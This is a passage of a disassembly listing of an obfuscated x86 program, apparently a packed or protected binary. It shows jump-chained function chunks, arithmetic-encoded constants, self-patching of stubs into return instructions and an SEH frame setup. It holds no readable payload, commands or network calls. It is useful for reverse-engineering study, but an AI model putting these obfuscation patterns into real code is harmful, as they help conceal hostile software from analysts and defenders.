; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_447FE0:				; CODE XREF: sub_439587+C56j
		jnz	loc_4462C2
		jmp	loc_43C669
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_447FEB:				; DATA XREF: sub_444C12+6o
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43D409
		mov	eax, 6E103E68h
		call	sub_43BF6F
		push	ebx
		push	0F38269E8h
		jmp	loc_440616
; ---------------------------------------------------------------------------

loc_44800A:				; CODE XREF: kgbikm34:loc_43E060j
		pop	ecx
		xor	ecx, 0C8093085h
		sub	ecx, 3314046Dh
		add	ecx, 0B131E0Fh
		mov	[ecx], eax
		pop	ecx
		jmp	loc_438D78
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4435FE

loc_448026:				; CODE XREF: sub_4435FE+128Dj
		jmp	loc_4370E4
; END OF FUNCTION CHUNK	FOR sub_4435FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B8A2

loc_44802B:				; CODE XREF: sub_44B8A2:loc_437228j
		pop	ebp
		push	ds:dword_43C590
		retn
; END OF FUNCTION CHUNK	FOR sub_44B8A2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448291

loc_448033:				; CODE XREF: sub_448291+7j
		mov	eax, [ebp-1Ch]
		jmp	loc_447F03
; END OF FUNCTION CHUNK	FOR sub_448291
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_44803C:				; CODE XREF: kgbikm34:00439FE4j
		jmp	loc_446CB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB97

loc_448041:				; CODE XREF: sub_43AB97+9j
		ror	eax, 1Bh
		xor	eax, 211605DFh
		mov	edx, [esp-4+arg_0]
		push	eax
		mov	eax, edx
		push	edx
		push	651CCD3Bh
		jmp	loc_443B20
; END OF FUNCTION CHUNK	FOR sub_43AB97
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AB5E

loc_44805B:				; CODE XREF: sub_43AB5E:loc_44C183j
		or	esi, 0A87C92F8h
		add	esi, 1476615h
		xchg	esi, [esp+0]
		jmp	sub_43D9B3
; END OF FUNCTION CHUNK	FOR sub_43AB5E
; ---------------------------------------------------------------------------

loc_44806F:				; CODE XREF: kgbikm34:loc_447335j
		sub	eax, 0C8D7EDC7h
		xor	eax, 0A3C14B03h
		call	sub_4454E8

loc_448080:				; CODE XREF: kgbikm34:00449F25j
		jmp	loc_449774
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_448085:				; CODE XREF: sub_441819+6j
		jmp	loc_43BFD8
; END OF FUNCTION CHUNK	FOR sub_441819
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_317. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F72

loc_44808B:				; CODE XREF: sub_439F72-145j
		jmp	loc_438A7F
; END OF FUNCTION CHUNK	FOR sub_439F72
; ---------------------------------------------------------------------------

locret_448090:				; CODE XREF: kgbikm34:0043E530j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_448091:				; CODE XREF: sub_4474D5-4B8Bj
		jmp	loc_445674
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_448096:				; CODE XREF: sub_43F145-453j
		jmp	sub_43F6D0
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
		db 39h
dword_44809C	dd 0F38B37BBh		; DATA XREF: sub_4466A3:loc_447CBDr
; ---------------------------------------------------------------------------

loc_4480A0:				; CODE XREF: kgbikm34:004470D6j
		jmp	nullsub_319
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440443

loc_4480A5:				; CODE XREF: sub_440443+113j
		jmp	loc_44C999
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF8B

loc_4480AA:				; CODE XREF: sub_43EF8B+19j
		jmp	loc_441A5E
; END OF FUNCTION CHUNK	FOR sub_43EF8B
; ---------------------------------------------------------------------------
		db 2Dh
dword_4480B0	dd 0E6D46EFCh		; DATA XREF: kgbikm34:loc_43783Cw
dword_4480B4	dd 111DF9FCh		; DATA XREF: sub_448C95-4F0Dr
					; sub_4495F6+Dw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445F1B

loc_4480B8:				; CODE XREF: kgbikm34:loc_43B9E8j
					; sub_445F1B-1070j
		jmp	loc_443E48
; END OF FUNCTION CHUNK	FOR sub_445F1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_4480BD:				; CODE XREF: sub_439BDE+8523j
		jmp	loc_44A65B
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
		dw 7FABh
dword_4480C4	dd 0			; DATA XREF: sub_43DBBAr
					; sub_43F039:loc_444748w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_4480C8:				; CODE XREF: sub_43ACD5+14CCj
		jmp	loc_44BB71
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
		db 0C0h, 4Fh, 54h
dword_4480D0	dd 7E7A5FD7h		; DATA XREF: sub_43D019+7r
					; kgbikm34:004499AEw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B958

loc_4480D4:				; CODE XREF: sub_43B958:loc_44952Fj
		pop	eax
		add	eax, 882E5063h
		xor	eax, 0D6260E20h
		call	sub_43BF6F
		mov	ds:off_41E0BC, eax
; END OF FUNCTION CHUNK	FOR sub_43B958
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_4480EC:				; CODE XREF: sub_44B20C:loc_44A2A2j
		lea	eax, sub_43B958
; END OF FUNCTION CHUNK	FOR sub_44B20C
; START	OF FUNCTION CHUNK FOR sub_439609

loc_4480F2:				; CODE XREF: sub_439609:loc_442BF0j
		mov	byte ptr [eax],	0C3h
		jmp	loc_43F3DE
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B958

loc_4480FA:				; CODE XREF: sub_43B958+1j
		call	sub_43E272

loc_4480FF:				; CODE XREF: sub_44C2D0+Dj
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43B958
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441675

loc_448104:				; CODE XREF: sub_441675:loc_44B461j
		push	6F90D104h
		pop	eax
		add	eax, 342307D1h
		or	eax, 846858B0h
		add	eax, 58487B03h
		xchg	eax, [esp+8+var_8]
		jmp	loc_4482AF
; END OF FUNCTION CHUNK	FOR sub_441675
; ---------------------------------------------------------------------------

loc_448124:				; CODE XREF: kgbikm34:004433C5j
		jnz	loc_44BCB6

loc_44812A:				; CODE XREF: kgbikm34:loc_447556j
		push	13F4918Bh
		pop	eax
		rol	eax, 1Ah
		xor	eax, 2157324h
		cmp	eax, 32E4240Eh
		jmp	loc_443B44
; ---------------------------------------------------------------------------
		popf
		jmp	sub_43CC43
; ---------------------------------------------------------------------------

loc_44814A:				; DATA XREF: sub_44CDD6+13o
		mov	eax, [ebp-10h]
		mov	eax, [eax+64h]
		add	eax, [ebp-14h]
		cmp	eax, [ebp-0Ch]
		jmp	loc_443F2E
; ---------------------------------------------------------------------------

loc_44815B:				; CODE XREF: kgbikm34:0043AEAAj
		call	sub_43BF6F
		mov	ds:dword_41E194, eax
		lea	eax, nullsub_29
		call	sub_445F82
; START	OF FUNCTION CHUNK FOR sub_446779

loc_448171:				; CODE XREF: sub_446779+7242j
		jmp	nullsub_256
; END OF FUNCTION CHUNK	FOR sub_446779
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B5FD

loc_448176:				; CODE XREF: sub_44B5FD:loc_448BE2j
		lea	eax, [ebp-14h]
; END OF FUNCTION CHUNK	FOR sub_44B5FD
; START	OF FUNCTION CHUNK FOR sub_43CF41

loc_448179:				; CODE XREF: sub_43CF41+BA7Fj
		push	eax
		call	sub_44B64C
		mov	ds:dword_43836C, eax
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_4479B1

loc_44818E:				; CODE XREF: kgbikm34:loc_442017j
		jmp	loc_44DB88
; END OF FUNCTION CHUNK	FOR sub_43CF41

; =============== S U B	R O U T	I N E =======================================



sub_448193	proc near		; CODE XREF: kgbikm34:loc_442610j
					; DATA XREF: sub_44CDD6-A7D0o
		jz	loc_4481A1
		mov	eax, [ebp-0Ch]
		call	sub_43C7C6
sub_448193	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_4481A1:				; CODE XREF: sub_43C638-2129j
					; sub_44173C-203j ...
		push	offset sub_4400F5
		jmp	loc_445958
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4403D5

loc_4481AB:				; CODE XREF: sub_4403D5:loc_44BBBBj
		sub	edx, 6F53A136h
		cmp	eax, 91D2545Ah
		jmp	loc_439119
; END OF FUNCTION CHUNK	FOR sub_4403D5

; =============== S U B	R O U T	I N E =======================================



sub_4481BC	proc near		; CODE XREF: kgbikm34:00442914p
					; kgbikm34:004477C2j

; FUNCTION CHUNK AT 0043D6CE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0044106B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004456EA SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		call	sub_44B20C
		mov	eax, 0C684C00Ch
		push	ebp
		jmp	loc_43D6CE
sub_4481BC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C167

loc_4481D0:				; CODE XREF: sub_43C167:loc_43FD94j
		add	edx, 0E9D4684Dh
		mov	[edx], eax
		pop	edx
		lea	eax, nullsub_15
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_15
; END OF FUNCTION CHUNK	FOR sub_43C167
; ---------------------------------------------------------------------------
		push	edi
		push	84B9B58h
		pop	edi
		jmp	loc_44654A

; =============== S U B	R O U T	I N E =======================================



sub_4481F3	proc near		; CODE XREF: sub_439F66+2p

; FUNCTION CHUNK AT 004373D4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00439033 SIZE 00000001 BYTES
; FUNCTION CHUNK AT 00439CE1 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0043B99F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044AB61 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0044BC07 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	sub_43DEE7
		call	sub_44A6D1
		jmp	loc_439CE1
sub_4481F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_448210:				; CODE XREF: sub_440834:loc_443DE6j
		cmp	ebp, 462083Ah
		jmp	loc_44D1BA
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44114F

loc_44821B:				; CODE XREF: sub_44114F+25C5j
		pop	ebx
		and	ebx, 0A6BA33F8h
		test	ebx, 4
		jmp	loc_445156
; END OF FUNCTION CHUNK	FOR sub_44114F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_44822D:				; CODE XREF: sub_442A46+4A1Ej
		sbb	ebp, 0FF51ACCDh
		xor	ecx, eax

loc_448235:				; CODE XREF: sub_4471A4:loc_43E267j
					; sub_442A46:loc_43E65Ej ...
		jmp	loc_44B0FA
; ---------------------------------------------------------------------------

loc_44823A:				; CODE XREF: sub_4471A4-934Bj
					; sub_442A46+1015j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------

loc_44823D:				; CODE XREF: kgbikm34:0044A83Fj
		jmp	sub_43BF6F
; ---------------------------------------------------------------------------

loc_448242:				; CODE XREF: kgbikm34:00439ACCj
		jmp	locret_449D44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_448247:				; CODE XREF: sub_439609+16j
		jmp	loc_4434F3
; END OF FUNCTION CHUNK	FOR sub_439609

; =============== S U B	R O U T	I N E =======================================



sub_44824C	proc near		; CODE XREF: kgbikm34:004398BCp
					; sub_43A9AA+1p ...

; FUNCTION CHUNK AT 0043B6AF SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00440661 SIZE 00000008 BYTES

		push	ebp
		jmp	loc_43B6AF
sub_44824C	endp

; ---------------------------------------------------------------------------

loc_448252:				; CODE XREF: kgbikm34:0044422Fj
		popf

; =============== S U B	R O U T	I N E =======================================



sub_448253	proc near		; CODE XREF: sub_4481F3-C83Dp
		xchg	eax, [esp+0]
		pop	eax
		jz	loc_444A67
		mov	ebx, [ebx+ecx]
		call	sub_444A5E

loc_448265:				; CODE XREF: sub_43EAEE:loc_448591j
		jmp	nullsub_100
sub_448253	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44826A	proc near		; CODE XREF: kgbikm34:00440C6Cj
					; kgbikm34:0044C6C0p
		xchg	esi, [esp+0]
		pop	esi
		call	sub_43BF6F
		push	ecx
		push	0A47B9585h
		pop	ecx
		jmp	loc_440FAD
sub_44826A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_44827F:				; CODE XREF: kgbikm34:loc_441573j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FD86

loc_448280:				; CODE XREF: sub_43FD86+9799j
		jmp	nullsub_117
; END OF FUNCTION CHUNK	FOR sub_43FD86
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E82A

loc_448285:				; CODE XREF: sub_43E82A+Ej
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43E82A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_310. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44828B:				; CODE XREF: kgbikm34:0043ECAFj
					; kgbikm34:loc_44B31Fj
		jge	loc_43FD58

; =============== S U B	R O U T	I N E =======================================



sub_448291	proc near		; CODE XREF: sub_448291-1857p

; FUNCTION CHUNK AT 00438A54 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043AFA0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043CDD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D7EA SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043E812 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00443EE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446A37 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00447F03 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00448033 SIZE 00000008 BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	byte ptr [eax],	0
		jnz	loc_448033
		jmp	loc_443EE0
sub_448291	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444326

loc_4482A3:				; CODE XREF: sub_444326+12j
		lea	eax, [ebp-125h]
		push	eax
		call	sub_43DF66
; END OF FUNCTION CHUNK	FOR sub_444326
; START	OF FUNCTION CHUNK FOR sub_441675

loc_4482AF:				; CODE XREF: sub_441675+6AAAj
		jmp	sub_43C7C6
; END OF FUNCTION CHUNK	FOR sub_441675
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439274

loc_4482B4:				; CODE XREF: sub_439274+78B8j
		add	edx, 0CBD79158h
		mov	[edx], eax
		pop	edx
		mov	dword ptr [ebp-20h], 1
; END OF FUNCTION CHUNK	FOR sub_439274
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_4482C4:				; CODE XREF: sub_449D59-B801j
		push	offset sub_44DAF3
		jmp	loc_439C9E
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6C7

loc_4482CE:				; CODE XREF: sub_43A6C7:loc_439A43j
		or	eax, 8301A51h
		jmp	sub_440501
; END OF FUNCTION CHUNK	FOR sub_43A6C7
; ---------------------------------------------------------------------------
		jbe	loc_44DB5A
		jmp	sub_43D632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A356

loc_4482E4:				; CODE XREF: sub_44A356:loc_43B2AFj
		and	eax, ds:4000F2h
		xor	eax, 6463FDBh
		push	ebp
		call	sub_4456B7

loc_4482F6:				; CODE XREF: sub_440488+DCBFj
		mov	edi, edx
		ror	ebp, 10h
; END OF FUNCTION CHUNK	FOR sub_44A356
; START	OF FUNCTION CHUNK FOR sub_440488

loc_4482FB:				; CODE XREF: sub_440488:loc_43C4ADj
		call	sub_44A9D8
		push	offset sub_4432C3
		jmp	nullsub_101
; END OF FUNCTION CHUNK	FOR sub_440488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_44830A:				; CODE XREF: sub_446F79:loc_43F107j
		xchg	esi, [esp+0]
		call	sub_445D55
		mov	eax, 0CEEC89B4h
		push	edx
		push	0C92D052Dh
		jmp	loc_447469
; END OF FUNCTION CHUNK	FOR sub_446F79

; =============== S U B	R O U T	I N E =======================================



sub_448322	proc near		; DATA XREF: kgbikm34:00447607o
		call	sub_43BF6F
		mov	ds:dword_41E13C, eax
		lea	eax, nullsub_2
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_2
sub_448322	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478CD

loc_44833B:				; CODE XREF: sub_4478CD-A53Ej
		jnp	sub_44720A
		popf
		jnb	loc_444FDB

loc_448348:				; CODE XREF: sub_4478CD:loc_4409E2j
		mov	eax, 0CFF9C25h
		call	sub_4400C7
		push	ebx
		push	217A7127h
		pop	ebx
		jmp	loc_43AEE9
; END OF FUNCTION CHUNK	FOR sub_4478CD
; ---------------------------------------------------------------------------

loc_44835E:				; CODE XREF: kgbikm34:loc_438AA7j
		pop	eax
		rol	eax, 3
		or	eax, 5BA08762h
		add	eax, 24863111h
		popf
		xchg	eax, [esp]
		jmp	loc_446AF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4478A8

loc_448377:				; CODE XREF: sub_4478A8+7j
		push	offset sub_449794
		jmp	nullsub_334
; END OF FUNCTION CHUNK	FOR sub_4478A8
; ---------------------------------------------------------------------------

loc_448381:				; CODE XREF: kgbikm34:0044A508j
		pop	edi
		or	edi, 340F02D3h
		sub	edi, 6CE74069h
		or	edi, 893CD36Ah
		add	edi, 76C4E0E2h
		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_122
		jmp	loc_449695
; ---------------------------------------------------------------------------

loc_4483A8:				; DATA XREF: sub_43E8DA:loc_43F440o
		mov	eax, [esp]
		push	ecx
		push	12B983A0h
		pop	ecx
		or	ecx, 0A8035A0Dh
		sub	ecx, 2D678A74h
		jmp	loc_448B2F
; ---------------------------------------------------------------------------

loc_4483C3:				; CODE XREF: kgbikm34:loc_44BA34j
		or	esi, 5FC20484h
		jmp	loc_4484BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440E0B

loc_4483CE:				; CODE XREF: sub_440E0B:loc_43B70Ej
		jnz	loc_43B659
		jmp	loc_43DB1D
; END OF FUNCTION CHUNK	FOR sub_440E0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B31

loc_4483D9:				; CODE XREF: sub_447B31+61E6j
		jnz	loc_43EAC0
		jmp	loc_4439F3
; END OF FUNCTION CHUNK	FOR sub_447B31
; ---------------------------------------------------------------------------

loc_4483E4:				; DATA XREF: sub_440AAA-634Fo
		add	edx, 0F9EF5DC8h
		mov	[edx], eax
		pop	edx
		lea	eax, sub_438B6B
		mov	byte ptr [eax],	0C3h
		jmp	sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_4483FB:				; CODE XREF: sub_438B6Bj
		pop	edx
		jmp	loc_4487C7
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447193

loc_448401:				; CODE XREF: sub_447193-348Dj
		mov	[ebp-1Ch], eax
		mov	eax, [ebp-1Ch]
		mov	eax, [eax]
		mov	[ebp-14h], eax

loc_44840C:				; CODE XREF: kgbikm34:00448A37j
		call	sub_44649E

loc_448411:				; CODE XREF: sub_43B1D6+808Cj
		jmp	nullsub_102
; END OF FUNCTION CHUNK	FOR sub_447193
; ---------------------------------------------------------------------------

loc_448416:				; CODE XREF: kgbikm34:0043C8DCj
		jmp	sub_43D9B3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_44841B:				; CODE XREF: sub_439BDE+DFBBj
		jge	loc_4420F1

loc_448421:				; CODE XREF: sub_43A9E9+247Cj
		jmp	loc_4434AD
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
		push	0F09B7D07h
		jmp	loc_43CF2C
; ---------------------------------------------------------------------------

loc_448430:				; DATA XREF: sub_4414DB+4915o
		or	ecx, ecx
		jz	loc_448B0B
		mov	edx, [ebx+ecx]
; START	OF FUNCTION CHUNK FOR sub_44A680

loc_44843B:				; CODE XREF: sub_44A680+2A18j
		xor	edx, [ebx+ecx+4]
; END OF FUNCTION CHUNK	FOR sub_44A680
; START	OF FUNCTION CHUNK FOR sub_439609

loc_44843F:				; CODE XREF: sub_439609+D88Aj
		jmp	loc_440E06
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_448444:				; CODE XREF: sub_43DFE5:loc_43C5D7j
		push	offset loc_43C369
		jmp	nullsub_240
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------

loc_44844E:				; CODE XREF: kgbikm34:004378C9j
		and	eax, ebx

loc_448450:				; CODE XREF: kgbikm34:004378BBj
		call	sub_43A15B
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_448455:				; CODE XREF: sub_438B6B+F14Dj
		and	ecx, 933EE5DAh
		jz	loc_442A20

loc_448461:				; CODE XREF: sub_4429BC:loc_447CAEj
		sub	ebx, 0E5CCDD48h
		and	ebx, 0A0258EDCh
		add	ebx, 21D58Ch
		mov	[ebx], eax
		jmp	loc_44A128
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBC0

loc_44847A:				; CODE XREF: sub_44BBC0+Bj
		call	sub_43ACD5
		push	0A07E12C9h
		pop	eax
		or	eax, 298155FEh
		and	eax, 0AFAED6C6h
		xor	eax, 915C1354h
		call	sub_4400C7
		push	offset sub_4397E2
		jmp	loc_44D7DC
; END OF FUNCTION CHUNK	FOR sub_44BBC0
; ---------------------------------------------------------------------------

locret_4484A6:				; CODE XREF: kgbikm34:loc_440CA7j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C56B

loc_4484A7:				; CODE XREF: sub_43C56B-1EA9j
		jmp	loc_43D8B6
; END OF FUNCTION CHUNK	FOR sub_43C56B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4390CF

loc_4484AC:				; CODE XREF: sub_4390CF:loc_43F5AEj
		xor	ecx, 3A94DD36h
		cmp	ecx, 0AD0D1DB3h
		jmp	loc_4400E6
; END OF FUNCTION CHUNK	FOR sub_4390CF
; ---------------------------------------------------------------------------

loc_4484BD:				; CODE XREF: kgbikm34:004483C9j
		xor	esi, 8C267CBFh

loc_4484C3:				; CODE XREF: kgbikm34:loc_444290j
		not	edx
		ror	ebp, 13h

loc_4484C8:				; CODE XREF: kgbikm34:loc_43DEB1j
		push	28B080D6h
		jmp	loc_441E6C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D4E9

loc_4484D2:				; CODE XREF: sub_43D4E9j
		xchg	eax, [esp+0]
		mov	edx, eax
		pop	eax
		mov	eax, [esp-4+arg_0]
		push	edx

loc_4484DC:				; CODE XREF: sub_442B15:loc_43FAA9j
		push	edx
		push	82476EF6h
		pop	edx
		jmp	loc_44D12D
; END OF FUNCTION CHUNK	FOR sub_43D4E9
; ---------------------------------------------------------------------------

loc_4484E8:				; CODE XREF: kgbikm34:0043B126j
		jz	loc_43CEBE
		call	sub_44C64E
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_4484F3:				; CODE XREF: sub_439BDE+101CEj
		jmp	sub_44B537
; END OF FUNCTION CHUNK	FOR sub_439BDE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_4484F8:				; CODE XREF: sub_444240+38C4j
		jmp	loc_43C7EA
; END OF FUNCTION CHUNK	FOR sub_444240
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_4484FD:				; CODE XREF: sub_44A1A6-3044j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44A1A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_448502:				; CODE XREF: sub_43B0B7:loc_43F23Bj
		jmp	loc_448F07
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_448507:				; CODE XREF: sub_4441EB-9ABCj
		mov	edi, [eax]
		jmp	loc_442CE4
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_44850E:				; CODE XREF: sub_43F5F7-7103j
		call	sub_44B9AD

loc_448513:				; CODE XREF: sub_439587+6E97j
		jmp	loc_43869C
; END OF FUNCTION CHUNK	FOR sub_43F5F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_448518:				; CODE XREF: sub_43B0B7+CCE6j
		pop	edi
		rol	edi, 18h
		xor	edi, 30EF806h
		cmp	edi, 0E9FB4A4Fh
		jmp	loc_43E47F
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------

loc_44852D:				; CODE XREF: kgbikm34:00445C9Aj
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_437632
		jmp	loc_44B1A1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DBBA

loc_44853C:				; CODE XREF: sub_43DBBA+C3Dj
					; sub_43DBBA:loc_44BE04j
		push	offset sub_44A680
		jmp	nullsub_363
; END OF FUNCTION CHUNK	FOR sub_43DBBA

; =============== S U B	R O U T	I N E =======================================



sub_448546	proc near		; DATA XREF: sub_441093+3o

; FUNCTION CHUNK AT 00440466 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00440472 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00445C13 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448AA9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C747 SIZE 00000018 BYTES

		add	esp, 0FFFFFFF8h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		test	byte ptr [eax-8], 10h
		jz	loc_440472
		inc	dword ptr [ebp-8]
		jmp	loc_445C13
sub_448546	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_448567:				; CODE XREF: sub_43F145:loc_437886j
					; kgbikm34:00444538j
		and	esi, 0A8FAECE4h
		sub	esi, 1F572158h
		cmp	esi, 5E3D8373h
		jmp	loc_43F82C
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_44857E:				; CODE XREF: sub_439609:loc_43ECA4j
		push	edi
		mov	edi, esi
		xchg	edi, [esp-4+arg_0]
		push	60207759h
		pop	esi
		rol	esi, 1
		push	offset loc_43DF77
; END OF FUNCTION CHUNK	FOR sub_439609
; START	OF FUNCTION CHUNK FOR sub_43EAEE

loc_448591:				; CODE XREF: sub_43EAEE:loc_43B756j
		jmp	loc_448265
; END OF FUNCTION CHUNK	FOR sub_43EAEE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_66. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_448597:				; CODE XREF: sub_43F145+D23Fj
					; sub_440141:loc_44D3A1j
		jmp	loc_44BDCE
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------
		popf
		jmp	sub_445088
; ---------------------------------------------------------------------------

loc_4485A2:				; CODE XREF: kgbikm34:0043B8C7j
					; kgbikm34:loc_43D5CAj
		call	sub_44A1F9
; START	OF FUNCTION CHUNK FOR sub_444267

loc_4485A7:				; CODE XREF: sub_444267+5992j
		jmp	loc_43A815
; END OF FUNCTION CHUNK	FOR sub_444267
; ---------------------------------------------------------------------------

loc_4485AC:				; DATA XREF: sub_441D2F-6569o
